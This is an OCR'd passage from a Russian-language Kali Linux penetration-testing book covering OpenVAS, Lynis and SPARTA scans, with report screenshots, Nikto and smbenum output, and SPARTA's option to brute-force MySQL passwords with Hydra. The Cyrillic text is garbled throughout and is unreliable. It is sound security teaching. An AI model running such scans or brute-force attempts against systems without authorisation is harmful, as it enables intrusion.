(puc. 6.20). O6parure BarManue: moJie Scan Config (Kordurypaiust ckaHUpOBaHWS )
MMeeT Ha BEIOODP HECKOJIBKO THITOB CKAHUPOBaHUsI, BKtouast Discovery (OGHapy:keHue),
Full and fast (ITosHoe u 6GuicTpoe), Full and fast ultimate (ITosHoe 1 GbICTPOE OKOHYATEIb-
Hoe) U Full and very deep ultimate (ITostHOe 1 04eHb TITyOOKOE OKOHUYATEIbHOE) (HanboJiee
TPYIOEMKWH 1 3aTPATHBIN 110 BPEMEHW BapyUaHT).

1 can help you by Quick start: Create a new task

creatn% anew scan

task an 5 i |
aulomatically siarting Task Name: | New Quick Task |
i ScanConfig: | Full and fast -

All you need to do is ; 1
enlen & name ur lhe Target Host{s): | | |
new task and the 10 e ;
address ar hnst Start time: Discovery 2

name of the target,

and selecta scan

configuialivn. SpLy

You can choose if EUlland fast

you want me to run
ihe scan Immediately,
achedule the tagk for
a later date and time,
or just create the task
50 yOU can run it
manually later.

Full and fast ultimate
Full and very deep

S5H Full and wvery deep
Credential ultimate

In order fo run an SMB
authenticated scan, you have to select SSH and/or Credential
SME credentials, DUt you can also run an Esxi {_ v]
unauthenticated scan by not selecting any Credential

credentials.
Email reportto |

Host Discovery

If you enter an email address in the "Email report

Puc. 6.20. Co3gaeM HOBYIO 3agady

[Tapamerp Start time (Bpewmst Hauama) 1Mo3BOJISIET UCTIBITATENO0 HA TPOHUKHOBEHHE
3aNJIaHUPOBATh CKAHWPOBaHUE. DTO OUeHb 1ose3Has pyHkiusa. CkaHupoBaHUEe MOKET
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Hapymiath paboTy CETH, MOITOMY €ro JIYUIle BBIMOJIHATH TOT/A, KOT/Ia CeTh HE CHIIBHO
3arpysKeHa, TO eCTh B Hepabouee BpeMst WM B BHIXO/IHBIC [IHU.

[Tocsie Toro Kak Bee 1modist Oyly T 3alI0JIHEHBI, TPOKPYTUTE CTPAHUILY BHU3 U HAKMUTE
kHONKY Create (CosnaTbp). B pe3ysbrare 3ammycTuTcss CKaHUPOBaHUE M HA 9KPaHE MO-
SIBUTCS CBOJIKA CBEJIEHUI O CKAHMPOBAHWU 1 cocTostHuM (puc. 6.21).

Reports %

Name Status 4 Trend | Actions
Server
Vulnerabilities 0 v
(Automatically LT () coasoa
generated by
wizard)

| Apply to page contents - | ﬂ ¥ |

Puc. 6.21. CkaHnpoBaHue 3anyLieHo

Y1066l TPOCMOTPETH JOTOJHUTEIbHBIE CBEICHUS 0 3a1ade, B moje Name (Mmst)
HIeJKHUTE Ha UMeHU 3a1aun (puc. 6.22).

BE0E 860 Om

‘/ Task: Server Vulnerabilities

Name: Server Vulnerabilities
Comment: Automatically generated by wizard
Target: Target for Server Vulnerabilities
Alerts:
Schedule: (Next due: over)
Add to Assets: yes

Apply Overrides: yes

Min QoD: 70%
Alterable Task: no

Auto Delete Reports: Do not automatically delete reports
Scanner: OpenVAS Default (Type: OpenVAS Scanner)
Scan Config: Full and very deep ultimate
Order for target hosts: N/A
Network Source Interface:
Maximum concurrently executed NVTs per host: 10
Maximum concurrently scanned hosts: 30
Status:
Duration of last scan:
Average scan duration:

Reports: 1, Current: Aug 6 2018 (Finished: 0)
Results: 1
Notes: 0
Overrides: 0

Puc. 6.22. [lononHuTenbHbIE CBEAEHUS O 3ajaye
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ITo 3aBepilleHUU CKaHUPOBaHUA HaxkMuTe KHONKY Done (ToToBo). Ilpu aTOM Gyaer
CO3/IaH OTYET CO CITIUCKOM OOHAPY/KEHHBIX YSI3BUMOCTEH U OTIEHKON CTEMEHH YTPO3BI JIJIsT
Kaxk10i 13 Hux (puc. 6.23).

|/ & Greenbone Security A.. % \ +

\/ € ) @#. | https://127.0.0.1:9392/omp?cmd=get_report&report v | & |[Q Search %8 &+ &

fi5 Most Visited v FlOffensive Security & Kali Linux "% Kali Docs " Kali Touls % Exploit-DB W Aircrack-ng g Kali Forums

Secinto Configuration Extras Administration

Anonymous XML~ |[J&EE 5/ & Filter: | [=]%]2]]
Done sart-reverse=severity first=1autofp=0 apply_overrides=1 notes=1 averrides=1 result_hnsts_nnly=1

rows=100 levels=hml min_ged=70

i @)

) ID: 1445056 3285 43cf b006 aT7f0AbI0al6
q Modined: Mon Aug b 14:00:47 2018
Created: Mon Aug 6 13:43:22 2018
~ Report: Results (16 of 107) T st

COwner:  admin

HEr-1ser6GEH
@] soverity @] aep|Host [ Location [ actions |

SSL/TLS: OpenSSL €CS Man in the Middle Security Bypass = G
Sinersbiltty O T 70% 172.16.65.207 443ftcp  E &
HTTP Debugging Methods (TRACE/TRACK) Enabled B S 99% 172.16.65.207 443/tcp B
HTTP Debugging Methods (TRACE/TRACK) Enabled B T 99% 172.16.65.207 8O/tcp B
55L/1LS: Heport Vulnerable Cipher Suites for HIIPS 4] 98% 1/2.16.65.20/ 443ftcp E
S5L71LS: Certificate Expired &= 99% 172.16.65.207 443fcp Ex
S5L/1LS: 55Lv3 Protocol CBC Cipher Suites Information Disclosure e B
Valncrability (POODLE) E] e 80% 172.16.65.207 443ftcp  B[#
Apache Web Server ETag Header Information Discl Weal [Ty 80% 172.16.65.207 443/tcp &%
Apache Web Server ETag Header Information Disclosure Weal [Tl 20% 172.16.65.207 80/tcp &%
SSL/TLS: 'DHE_EXPORT Man in the Middle Security Bypass [ Medium) | )
MilharRBHIty (oAt O L 80% 172.16.65.207 443ftcp e

SSL/TLS: RSA Tempuorary Key Handling "RSA_EXPORT Downyrade i
lssue (FREAK) O ST 20% 172.16.65.207 443ftcp &

5SL/1LS: Deprecated 55Lv2 and S5Lv3 Protocol Detection 5] 98% 1/2.16.65.20/ 443ftcp E
SSL/ILS: Report Weak Cipher Suites = 98% 17/2.16.65.207 4437tcp B
f\?lanceﬁ:hkill]—rtip Server 'httpOnly' Cookie Information Disclosure o 99% 172.16.65.207 443/lcp B

Puc. 6.23. OTyeT 0 CKaHMpPOBaHUK

Eciu miesikiHyTh KHOIIKOM MBIIIN Ha JIIOOO0H U3 TIepednCIeHHbIX YSI3BUMOCTEI, 0TO-
6passiTcst IOMONHUTEIbHBIE CBe/leHus, Takue kak Summary (CBojka), Impact (Biusitue),
Solution (Pemenue), Affected Software/OS (Y s13BuMO€e ITporpaMMHOe oOecIiederne) u ap.
(puc. 6.24).
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Vulnerability Severity Location Actions
gmlgh”“'"g Methads (TRACE/TRACK) & 09%  172.16.65.207 443/tcp Bl
| Summary

| Debugging functions are enabled on the remote web server.

| The remote web server supports the TRACE and/or TRACK methods. TRACE and TRACK are HTTP methods which are used to debug web
| server connections.

Vulnerability Detection Result

The web server has the following HTTP methods enabled: TRACE

| Impact
| An attacker may use this flaw to trick your legitimate web users to give him their credentials.

| Solution
| Solution type: & Mitigation

| Disable the IRACE and IRACK methods in your web server configuration.

| Please see the manual of your web server or the reterences for more intormation.

Affected Software/O5
Web servers with enabled TRACE and/or TRACK methods.

Vulnerability Insight
| It has been shown that weh servers supporting this methods are subject to cross-site-scripting attacks, dubbed XST for Cross-
| Site Tracing, when used in conjunction with various weaknesses in browsers.

Vulnarability Detaction Mathod
| Details: HTTP Debugging Methods (TRACE/TRACK) Enabled (0ID: 1.3.6.1.4.1.25623.1.0.11213)

Puc. 6.24. [1ononHUTEeNbHbIE CBEAEHUS

CkaHMpoBaHWe ys3BMMOCTeN Linux ¢ noMolLbto Lynis

Paspatorantoe kommanueii Cisofy (www.cisofy.com) mpuiioskerue Lynis — 9T0 WHCTPY-
MEHT ITPOBEPKHU HE30ITACHOCTH, KOTOPBIN yIIpaBJisieTcst 13 KomaHHoit ctpoku Kali Linux.
I10 GecruaTHas IPOrpaMMa, HO IOCTYITHA U KOPTIOpaTHUBHAs Bepcust. Lynis ncmombay-
€TCsT [T aBTOMATU3NPOBAHHON OTEHKN GE30TTaCHOCTH 1 CKAaHNPOBAHMS YSI3BIMOCTE
B PA3JIMYHBIX BEePCUAX OTepaImontbix cucreM Linux, macOS X u Unix.

B orsmmuune ot Apyrux NpuiosKeHUi Takoro Ta Lynis crenuanusupyercs Ha npo-
Bepke 6e30MacHOCTH 3aKOHOAATETbHBIX AKTOB O Tlepefiaue 1 3aIluTe CBEIEeHMT yupe-
skaenuii sppasooxpanenys (HIPAA), saiure crangapra 6e301aCHOCTH ILIATEKHBIX KapT
PCI DSS, cucrem BayTpentero koutposst SOX u GLBA. 9to npusiokenue mo3BoIUT
OPEATPUATUSIM, UCTIONB3YIONINM Pa3JIndHble CTaHAAPTHI, 00eCIeunTh GE30TTACHOCTh
CBOMX CHUCTEM.

Lynis MOKHO 3arpy3uTb U YCTAaHOBUTD CAMOCTOSITEILHO. Y CTAaHOBKA TIPUJIOKEHUS
B IIeTIeBOI cHicTeMe CAKOHOMUT TPaduK, MO CPAaBHEHWIO C YCTAHOBKOH Ha yJaTeHHOM
KOMIIBIOTEpE.

0O Lynis BxoauT B nakeT Kali Linux, HO Takxe MOXeT 6bITb KoHMpoBaH ¢ GitHub
I:I (https://github.com/CISOfy/lynis) unu ckayaH ¢ odbuUManbHOro canTta
(https://cisofy.com/documentation/lynis/get-started/#installation).
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g sanycka Lynis B Kali Beibepure komanay meHio Applications » Vulnerability
Analysis » Lynis (IIpusoskenusi » Ananus ysispumocteit » Lynis). /ls 3amycka npuiio-
JKEHUST U3 KOMAH/IHOM CTPOKH BBEIUTE B TepMUHase KoMauay lynis. Oua orobpasut
yCTaHOBJIEHHYIO Bepcuio Lynis (B JanHOM ciydae 2.6.2) 1 MHUIUATIU3UPYET TIPOTPAMMY.
Bor Takske yBUANTE CIIMCOK BCEX MTAPaMETPOB KOMaH/LI (pHc. 6.25).

root@kali:~# lynis

[ Lynis 2.6.2 ]

T AR
Lynis comes with ABSOLUTELY NO WARRANTY. This is free software, and you are
welcome to redistribute it under the terms of the GNU General Public License.
See the LICENSE file for details about using this software.

2007-2018, CISOfy - https://cisofy.com/lynis/
Enterprise support available (compliance, plugins, interface and tools)
B R s i

[+] Initializing program

Usage: lynis command [options]

Command :

audit
audit system : Perform local security scan
audit system remote <host= : Remote security scan
audit dockerfile <filex> : Analyze Dockerfile

show
show : Show all commands
show version : Show Lynis version
show help : Show help

update
update info : Show update details

Puc. 6.25. Crnincok napameTpos KoMaHAb! Lynix

Ecun BbI oi3abbiin HyKHYT0 KOMaH/Ly, BBeuTe lynis show commands (puc. 6.26).

Lynis — MOTHOCTHIO MEXaHU3UPOBAHHBIN MHCTPYMEHT MPOBEPKU HGE30MACHOCTH,
Yy KOTOPOTO €CTh MUHUMAJbHBINA Hab0p KoMaHa. UTOOBI IPOBEPUTH BaIly MaIIMHY
Kali Linux, mpocto BBeauTe lynis audit system. Bpemst, KoTopoe 3aiiMeT mpoBepka, 3a-
BUCHUT OT XapaKTepUCTUK rposepsaemoii Matuibl Kali Linux. O6buHo npoBepka AmuTcst
ot 15 10 30 munyT. PesymbTar mpoBepKu mokasaH Ha puc. 6.27.
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li:~# lynis show commands

Commands:

lynis

lynis
lynis
lynis

root

Puc. 6.26. OTtobparxkeHne komMaHz Lynix

root@kali:~# lynis audit system
[ Lynis 2.6.2 ]

FHHHHH A
Lynis comes with ABSOLUTELY NO WARRANTY. This is free software, and you are
welcome to redistribute it under the terms of the GNU General Public License.
See the LICENSE file for details about using this software.

2007-2018, CISOfy - https://cisofy.com/lynis/
Enterprise support available (compliance, plugins, interface and tools)
HIHHHHHHHH R R

[+] Initializing program

- Detecting 0S... [ DONE ]
- Checking profiles... [ DONE ]

Program version:

Operating system:

Operating system name:

Operating system version: kali-rolling
Kernel version: 4.15.0
Hardware platform: xB6_64
Hostname:

Puc. 6.27. PesynbTat npoBepku MawwmHbl Kali Linux

Pe3yibTarhbl IPOBEPKU BKIIOYAIOT B Ce0sI CBEIECHISL:

o Bepcun Debian;
3arpyske u cJyskbax;
SIpeE;
HaMSITH U TIPOIIECCOPE;

O00DO
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M0JIb30BATEJISIX, TPYIIAX U TPOBEPKE MOJTMHHOCTH;
060JI04Ke;

(haitmoBoii cucreme;

USB-ycTpoiicTBax;

ceTy 1 GpaHIMayapax;

[OpTax U MPUHTEPAX;

Oo0o00D0DO0O

HAJIe)KHOCTU SI/Ipa.

[+] Networking

Checking IPv6 configuration ENABLED ]
Configuration method AUTO ]
IPv6 only ND 1

Checking configured nameservers

- Testing nameservers

Nameserver: 10.2.0.24 0K 1]

- Minimal of 2 responsive nameservers WARNING ]

Checking default gateway DONE ]

Getting listening ports (TCP/UDP) DONE ]

* Found 1 ports

Checking promiscuous interfaces 0K ]

Checking waiting connections 0K 1]

Checking status DHCP client RUNNING ]

Checking for ARP monitoring software NOT FOUND ]

Printers and Spools

Checking cups daemon NOT FOUND ]
Checking 1p daemon NOT RUNNING ]

software: e-mail and messaging

Software: firewalls

Checking iptables kernel module FOUND 1]

- Checking iptables policies of chains FOUND ]

- Checking for empty ruleset WARNING ]
- Checking for unused rules 0K 1
Checking host based firewall ACTIVE ]

Software: webserver

Checking Apache (binary /fusr/sbin/apache2) [ FOUND ]
Info: Configuration file found (/etc/apache2/apache2.conf)
Info: No virtual hosts found
* |Lpadable modules [ FOUND (116) 1]
- Found 116 loadable modules
mod evasive: anti-DoS/brute force [ NOT FOUND ]
mod_reqtimeout/mod _gos [ FOUND ]

Puc. 6.28. CBeaeHusi, Nony4YeHHbIe C NOMOLbO Lynix
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Ha puc. 6.29 nokazan dparmenT pe3ysibTaToB MPOBEPKU Lynis ¢ YeTbIpbMsI TIpeLy-
npexxienusaMu u 40 rnpeioxkeHusIMu.

-[ Lynis 2.6.2 Results ]-

Warnings (4):

! No password set for single mode [AUTH-9388]
https://cisofy.com/controls/AUTH-9368/

! Can't find any security repository in /etc/apt/sources.list or sources.list.
d directory [PKGS-7388]
https://cisofy.com/controls/PKGS-7388/

! Couldn't find 2 responsive nameservers [NETW-2785]
https://cisofy.com/controls/NETW-2705/

! iptables module{s) loaded, but no rules active [FIRE-4512]
https://cisofy.com/controls/FIRE-4512/

Suggestions (418):

* This release is more than 4 months old. Consider upgrading [LYNIS]
https://cisofy.com/controls/LYNIS/

* Install libpam-tmpdir to set $TMP and $TMPDIR for PAM sessions [CUST-8280]
https://your-domain.example.org/controls/CUST-0280/

* Install libpam-usb to enable multi-factor authentication for PAM sessions [C
UST-8285]

Puc. 6.29. OparMeHT pe3ynbTaToB NPOBEPKM

IIpoKpYyTUB Pe3yJIbTaThbl TECTA 0 KOHIIA, Mbl YBUAMM OOILYIO CBOAKY IO IPOBEPKE
(puc. 6.30).
Lynis security scan details:

56 [HEHFHERARER

Components:
- Firewall [vi
- Malware scanner [v]

Lynis Modules:

- Compliance Status [?]
- Security Audit [v]
- Vulnerability Scan [v]

Files:
- Test and debug information : /var/log/lynis.log
- Report data : /var/log/lynis-report.dat

Puc. 6.30. Obuiasi cBoaKa MO NPOBEPKE KOMMbIOTEPA
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CKaHWpOBaHUE 1 NepeyncieHne ys3BUMMOCTEN
¢ nomoLwbio SPARTA

SPARTA — 3T0 HUHCTPYMEHT € TTOTh30BATETHCKUM HHTEPGECOM /71T TECTUPOBAHUST HA
MTPOHUKHOBEHME ceT. ABTOPBI npuitoskernst — AaTonno Kun (Antonio Quina) u Jleo-
nugac Crasaunoruc (Leonidas Stavliotis) us kommanuu SECFORCE. SPARTA — cran-
naprtHoe npuaoxenre Kali Linux. B paMkax ofiHOro MHCTPYMEHTa OHO aBTOMaTU3UPYeT
MIPOIeCChl CKAHUPOBAHMS, TIEPEUNCAEHUS U OIeHKU YsI3BUMOCTeil. Kpome dyHKINit
ckannpoBaHusg u nepeuncieHnsd, B SPARTA takke BCTPoOeHO cpe/ICTBO [ B3JIOMA
apoJieil ¢ MoMoIIbIo TPyOOi CHIIBL.

MocnepgHue Bepcnn SPARTA MOXHO 3arpy3uTb M3 GitHub n knoHmpoBatb
Ha NIOKasIbHyI0 MaluuHy. [na 3Toro 4oCTaToOuHO BBECTM KOMaHay git clone
https://github.com/secforce/sparta.git.

g sanycka SPARTA B Kali Linux 2018 Beibepure komaHay mMeHio Applica-
tions » Vulnerability Analysis » SPARTA (IIpunosxenus » Ananus ysassumocteii » SPARTA).
Yrob6bt 106aBUTH B 0OJIACTH TIPOBEPKH TEJIEBYIO MAITHHY VU TPYIITY TIE€JIEBBIX MATIHH,
B rpacduueckom nHTepdeiice SPARTA 1.0.3 mesnkHuTE KHOIIKOM MBIIIN HA JIEBOI T1a-
Hesu. Jasnee qobasbre B noJjie BBoaa IP Range (IP-auanasoH) auamasoH nmpoBepsieMbIX
[P-anpecos (puc. 6.31).

Add host(s) to scope L

ge {10,10.100._100;16 10.10.22.217/16|

192.168.1.0/24 10,10.10.10-20 1.2.3.4

I Cancel l

Puc. 6.31. InanasoH IP-agpecoB ans npoBepky BBeAeH
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I[Tocsie Toro kax [P agpeca y3imoB cetn 6yayT m06aBIeHbI, HAKMHUTE KHOMKY Add to

scope (/To6aBuTh B 06macth). HauHeTcst moaramntioe CKaHUPOBAHKE MEJIEBBIX 00HEKTOB
(puc. 6.32).

| Progress lool | Host - Start time
| v nmap (stage 1) 10.10.100.100/16 10.10.22.217/16 02 Aug 2018 17:03:22

Puc. 6.32. Mpouecc ckaHMpoBaHWs y3na cetn

[Tocsie 3aBepiiienust CkKaHUPOBaHUsI KapThl ceTH B 0cHOBHOM okHe SPARTA nosiBsTCst
caepyronue Braagku: Services (Ciysk6ni), Scripts (Cruenapumn), Information (Mudopma-
st ), Notes (3amerku ), Nikto 1 Screenshot (CKpPUHIIIOTBI ), HA KOTOPBIX Bbl Haii/leTe OUeHb
110J1e3HY10 UH(MOPMAIIHUIO.

ITo ymosuanuio cHayasa oTkpoeTcs BKaagka Services (Cirysk0Obl) €O CIIMCKOM OTKPbI-
TBIX TIOPTOB U c1yx6 (puc. 6.33).

SPARTA 1.0.3 (BETA) - untitled - /root/ e 00
File Help

Scan E|

Hosts | Services | Tools | Services | Scripts | information | Notes | nikto (80/tcp) 1

nikto (443/tcp) !'mmtm@

[os| Host c Pot | Protocol | State | MName | Version

@ 10.10.2387 e 80 lep open hup Apache hilpd 1.3.28 ({Unix) mod_ssl/...
© 10.10.23.93 0 443 tep open http Apache httpd 1.3.28 ({Unix) mod_ssl/...
® 1010.23.97 i @ 3306 tep open mysql MySQl 4.1.7-standard

@ 10107398

Progress | Taol : Host Start fime i Fnd time | status @&
DI mysql-defaull (3306/Lcp) 10.10.100.100 02 Aug 2018 19:46:48 02 Aug 2018 19:48:47  Finished l

Puc. 6.33. Bknagka Services (Cny»6bl) CO CMMCKOM OTKPbITbIX MOPTOB U CYX6

Eciu orkpoere Briaaky Information (Mudopmanus), To yBuanTe COOPAHHYIO
uHdopMalmio o 1ejieBoil Maiute. Tam Oyner ykaszaH [P, KoJM4ecTBO OTKPBITHIX, 3a-
KPBITBIX U OTOUIBTPOBAHHBIX TIOPTOB (€CJIM TAKOBBIE UMEIOTCS ), & TAKIKE OMEPAIUOH-

Hasl CHCTEMa BMeCTe C ee Bepcreil 1 3HaueHue TOUHOCTHU olpeieIeHrs NHhopMaIuu
(puc. 6.34).
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[Senﬁcgs_ | Scripts | Information Notes'i_nik];c_ (80ftcp)

Host Status Addresses
State: up IPv4: 10.10.100.100
Open Ports: 3 IPvb:
Closed Ports: 65532 MAC: 08:00:27:07:FF:53

Filtered Ports: O

Operating System
Name: Linux 2.4.18 - 2.4.35 (likely embedded)
Accuracy: 100

Puc. 6.34. Bknagka Information (MHdopmaums)

[TockoJIbKY B HaIlleM cJIydae 1eJIeBoH MalriHo ObLT BeIOpaH Linux-cepsep, mpu-
MeHeH HHCTpyMeHT ckanupoBanus Nikto. YToObl MPOCMOTPETh CMIUCOK HAMIEHHBIX
VSIBBUMOCTET, OTKPOITe BKIAAKY nikto (80/tcp) (puc. 6.35).

| Scripts | Information | Notes | nikto (80/tcp) 1 | nikto (443/tcp) 19 | screenshot (80/tcp) &

+ Target IP: 10.10.100.100

+ Target Hostname: 10.10.100.100

+ Target Port: 80

+ Start Time: 2018-08-02 18:54:57 (GMT-4)

+ Server: Apachef1.3.28 (Unix) mod_ssl/2.8.15 OpenSSL/0.9.7¢c

+ Server leaks inodes via ETags, header found with file /, inode: 334, size: 3583, mtime: Sun May
14 17:16:23 2006

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XS5-Protection header is not defined. This header can hint to the user agent to protect
against some forms of X55

+ The X-Content-Type-Cptions header is not set. This could allow the user agent to render the
content of the site in a different fashion to the MIME type

+ OSVDB-3268: /backup/: Directory indexing found.

+ Entry 'fbackup/ in robots.txt returned a non-forbidden or redirect HTTP code (200)

+ O5VDB-3268: /supplier/: Directory indexing found.

+ Entry 'Ysupplier/ in robots.tx returned a non-forbidden or redirect HTTP: code {200)

+ "robots.txt” contains & entries which should be manually viewed.

Puc. 6.35. Bknagka nikto (80/tcp)

Muorue n3 o6HapysKeHHBIX ysi3BuMocTell nmerot rnpepuke OSVBD, koTopsrii yka-
3bIBAET Ha TO, YTO MH(MOPMAIIIO O HUX MOKHO UCKaTh B 6asax JaHHbIX cailtoB Common
Vulnerabilites and Exposures (CVE) u Open Source Vulnerabilities Database (OSVDB).
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Jlst mosryuenust mogpoOHON nHMGOPMAIUK MCIBITATE b HA TTPOHUKHOBEHIE MOKET
BOCIIOJIB30BATHCA MPOCTHIM monckoM Google, BBe/ist B TOUCKOBYIO CTPOKY Ha3BaHUE
yassumoctu, Hanpumep OSVDB-3268, kotopas Oblia BbIABAEHA IPH IIPEAbIIYIIEM
CKaHUPOBAHUU. BIIOCJIE/ICTBUY BBISIBJIEHHbBIE YSI3BUMOCTH MOTYT OBITh HCIIOJIb30BAHBI,
Harpumep, nacrpymentTom Metasploit. Ho 06 3ToM moroBopum B CJIeyIONIUX TIaBaX.

Terepb MTOCMOTPUM Ha APYTYIO CKAHUPYEMYIO MAIIUHY TI0]] YIIPABICHUEM OTIe-
panuonHoii cucrembl Windows. B obactu Hosts (Xoctbi) ciesa Haiiaure IP-ajgpec
10.10.22.217 w meskHUTE HAa HEM KHONKON MbInu. /lasee OTKpoiiTe BKIAIKY Services
(Caysx6er) (puc. 6.36). 31ech Bbl yBUIANTE CIIUCOK OTKPBITHIX TIOPTOB.

Services | Sripts | Information I Noles | smbenurm (445/Lcp) = ! lﬁklu'__(ﬁ.’!nﬁ?flx'p)_ = | sc'let:llsllul;{535?.-'ll}_l:) = l
Port | Protocol | State | Name | Version
& 135 lep open msrpc Microsoll Windows RPC
o 137 udp open netbios-ns Microsoft Windows netbios-ns (workgroup: WORKGROUP)
e 139 lep open nelbivs-ssn - Microsofl Windows netbios-ssn
© 445 tep open microsoft-ds - Microsoft Windows 7 - 10 microsoft-ds {workgroup: WORKGROUP)
© 5357 lep open hitp Microsolt HTTPAPI hitlpd 2.0 (SSDP/UPHP)
© 49152  tcp open msrpc Microsoft Windows RPC
O 49153 tcp open msrpc Microsoft Windows RPC
© 49154  tcp open msrpc Microsoft Windows RPC
© 49155 tcp open msrpc Microsoft Windows RPC
© 49156  tcp open msrpc Microsoft Windows RPC
9 49157 tcp open msrpc Microsoft Windows RPC

Puc. 6.36. Bknaaka Services (Cnyx6bl) ¢ HbopMauuel o noptax MawuHbl 10.10.22.217

U3 a10ii nHMOpMAIIK BUIHO, YTO UCCIeLyeMas HaMU MaliinHa paboTaeT Mol yIpas-
nennem Windows. [1g o6cienoBanus mopTos gaHHoi Mamibl B SPARTA 6bu1 samy-
mied nHerpyMenT smbenum. C ero HoMolIibio Mbl IPOBEPUJIM HAJINYKE HYJIEBBIX CECCUI
U TIPOCMOTPEJIN 3TOT KOMIIbIOTeP. B X0/1e aTUX oreparinii Mbl, B 4aCTHOCTH, UCKATU
CBeJIeHMs O [0JIb30BaTeIsX 1 o0umx pecypeax (puc. 6.37).

SPARTA ocyniecTBjsieT cKaHUpOBaHUe, TlepeyncjietHne U OlleHKY yYSI3BUMOCTH,
TTO3BOJISIST UCITBITATEIIO BBITIOJHATD PA3IndHble (DYHKIIUN TECTUPOBAHUS HA MPOHUK-
HoBeHUe B ceTh. J1is1 aToro Ha BKiajke Services (CepBUCHI) IIEJTKHUTE TPABON KHOTTKOM
MBIIIN Ha JTI060M 13 OTKPBITHIX IOPTOB M BBIOEPHUTE B MOSBUBIIEMCSI MEHIO HYKHYIO
KOMaHJIy.

Ha puc. 6.38 BbI BUiMTE KOHTEKCTHOE MEHIO, TIOSIBUBIIIEECST TIOCJIE TOTO, KaK MBI IeJIK-
HYJIU TIPABOM KHOIMKOM MBININ HA cTpoKe open port 3306. Vcrosib3yst KOMaH/bl 3TOTO
KOHTEKCTHOT'O MEHIO, BbI MOJKETe TIOIpoOoBaTh OTKPBITH OPT ¢ nomonibio Telnet, Netcat,
nn kanenta MySQL. s kauenta MySQL Bam norpebyiorcest mpasa root. Ber Taxske
MOJKETe IIONBITAThCS B3JIOMATh IIAPOJIU € IPUMEHEHIeM IPyOOil CUJIbL.
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Services | Scripls | Information | Noles | smbenum (445/tcp) @ | niklo (5357/lcp) @ |
p P \ P

IHHHHHHEEEEE Checking for NULL sessions 3HHHHHHHHEE

could not initialise sa pipe. Error was NT_STATUS_ACCESS_DENIED

could not oblain sid from server
‘error: NT_STATUS_ACCESS_DENIED
$HHHHEEEEEE Cnumerating domains #HHERHEHHSE

could not initialise |sa pipe. Error was NT_STATUS_ACCESS_DENIED
could not obtain sid from server
error: NT_STATUS_ACCESS_DENIED
$HHHEHHHEEEE Fnumerating password and lockout policies $HHEHEHHHEE
|+] Attaching to 10.10.22.21/ using a NULL share
[+1 Trying protocol 445/SMB...
[1] Protocol failed: 'NoneType’ object has no attribute ‘'decode’
[+] Trying protocel 139/SMB...

[1] Protocol failed: 'MoneType’ object has no attribute 'decode’
$HEHEHHEEEE Enumerating users 3HEHHHEERH

Puc. 6.37. OTtueT 06 MccneaoBaHUM € NMOMOLLBIO MHCTPYMeHTa smbenum (445/tcp)

Services [ Scripts ['.;'Jﬁ'f__of'rfj'aﬁan' [ Notes [-hikt'd;ssﬁ)‘t: p) & [_mt;_t‘o (1137tcp) @ r

Port | Protocol. | State | ‘Name |
© 80 tcp open hitp Apache httpd 1.3.28
e 443 tep open: hitp Apache httpd 1.3.78

MysQL 4.0 /-standard

Open with telnet
.Open with netcat

i

Open with mysql client {as root)

Send to Brute

Run nmap (scripts) on port

Grah hanner:

Check for default mysgl credentials

Puc. 6.38. KoHTekcTHOe MeHto ans nopta 3306

Eciu B KOHTEKCTHOM MeHI0 BhIOpaTh KoMar 1y Send to Brute (Orrpasuth B Brute), To
4epes BRIOPAHHBIN TOPT OYET MPeNPUHSATA MOMBITKA ATAKU C TIOMOII[BIO HHCTPYMEHTA
Baaoma maposiss THC Hydra. Hapsiy ¢ Apyrumu BapuanTamMu JIst HOJTyYeHUsT HYKHBIX
JIAHHBIX MOKHO MMPUMEHSITh CIIUCKU ¢ UMEeHAMU T10Jb30BaTesiell U mapojeil. Y ka3aB
HeOoOXOIMMbIE TIApAMEeTPbI, HayKMUTE KHOTIKY Run ( BBITIOJHUTE ), 4TOOBI IPEATIPUHSTS
TOTIBITKY ATaKH.
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Scan _l.ﬂmle.l
iE | 2: |3 =
¥ [1010.100.100 | Port [3306 | Service [mysql J0 mn ]

& Try blank password [ Try login as password & Loop around users [ Exitonfirstvalid [J Verbose [J Additional Options

QO Password [password | O Password list [

H Browse ! @ Found usernames

l | Browse I @ Tound passwords

dra (http:/fwww.thc.org/thc-hydra) starting at 2018-08-03 16:51:06
Hy p g g

Hytlra v8.6 (c) 2017 by van Hauser/THC - Please tlo nol use in mililary or secrel service organizations, or for illegal purposes.

[INFO] Reduced number of tasks to 4 {(mysql does not like many parallel connections)
[CRROR] File for logins is empty: /tmp/sparta-JuCnu7-tool-output/sparta-usemames.txt

Puc. 6.39. Bknagka MHCTpyMeHTa Brute

ITO aJIeKo He eTMHCTBEHHBIE MHCTPYMEHTHI,
nocrynnbie B SPARTA. Eciu, nomyctum, 1esk-
HYTb ITPaBOM KHOTIKON MBIIIN Ha open port 445
KOMIIBIOTEPA TIO/T YITPABJIECHIEM OTIEPATTTOHHON
cucrembl Windows, Bbl yBuanTe O0JIbIION CIIN-
COK UHCTPYMeHTOB (puc. 6.40).

Pe3iome

B 571001 ri1aBe Mbl 00CY M/, KAK € IIOMOILIbIO He-
ckosbkux nucrpymentos Kali Linux BbIsiBUTD
1 [TPOAHATIU3UPOBATH KPUTUYECKHE YSA3BUMOCTI
cucTeMbl 6e30MacHOCTH. MBI TaKKe PaccMo-
TPeJIM TPU OCHOBHBIX KJIAcCa ySA3BUMOCTEIA:
MIPOEKTUPOBAHNE, PEATU3AIUI0 W IKCILITyaTa-
U0 — U Pa3obpaIiCh, KaK MX MOKHO paciipe-
JIEJIUTD 110 JIBYM OOIIUM THUIIAM YsSI3BUMOCTEIL:
JIOKAJIbHBIX U Y/IAJIEHHDBIX. 3aTeM MbI 00CY TN
HECKOJbKO TAaKCOHOMUN ySI3BUMOCTEN, KOTO-
PBIMU MOKHO BOCITOJIb30BAThCS IIPU ITPOBEPKE
6€e301aCHOCTH, U KJIACCUPUIUPOBAIH UX 110
CXO03KeCTH MabJOHOB,

[lajsiee MBI TTO3HAKOMUJIM BAC C HECKOJIb-
KUMU WHCTPYMEHTAMHU, C TIOMOIIBIO KOTOPbBIX
MO3KHO ITPOBECTH aBTOMATUYECKOE CKAHUPOBA-
HUE CUCTEMbI U BBIABUTD UMEIOTUEC ySI3BU-
MOCTH. DTO TaKHWe UHCTPYMEHTDI, Kak Nessus,
OpenVAS, Lynis u SPARTA.

Port Protocol i State
© 135 tcp open
@ 137 udp open
© 139 tcp open

m Open withtelnet

e '?-ri Open with rpcclient (NULL session)
© 33 Open wit'h netcat:

e 5ﬁ Send to Brute

© 51[ Run smbenum

© 9¢  Runsamrdump

@ 4% Runnmap (scripts) on port

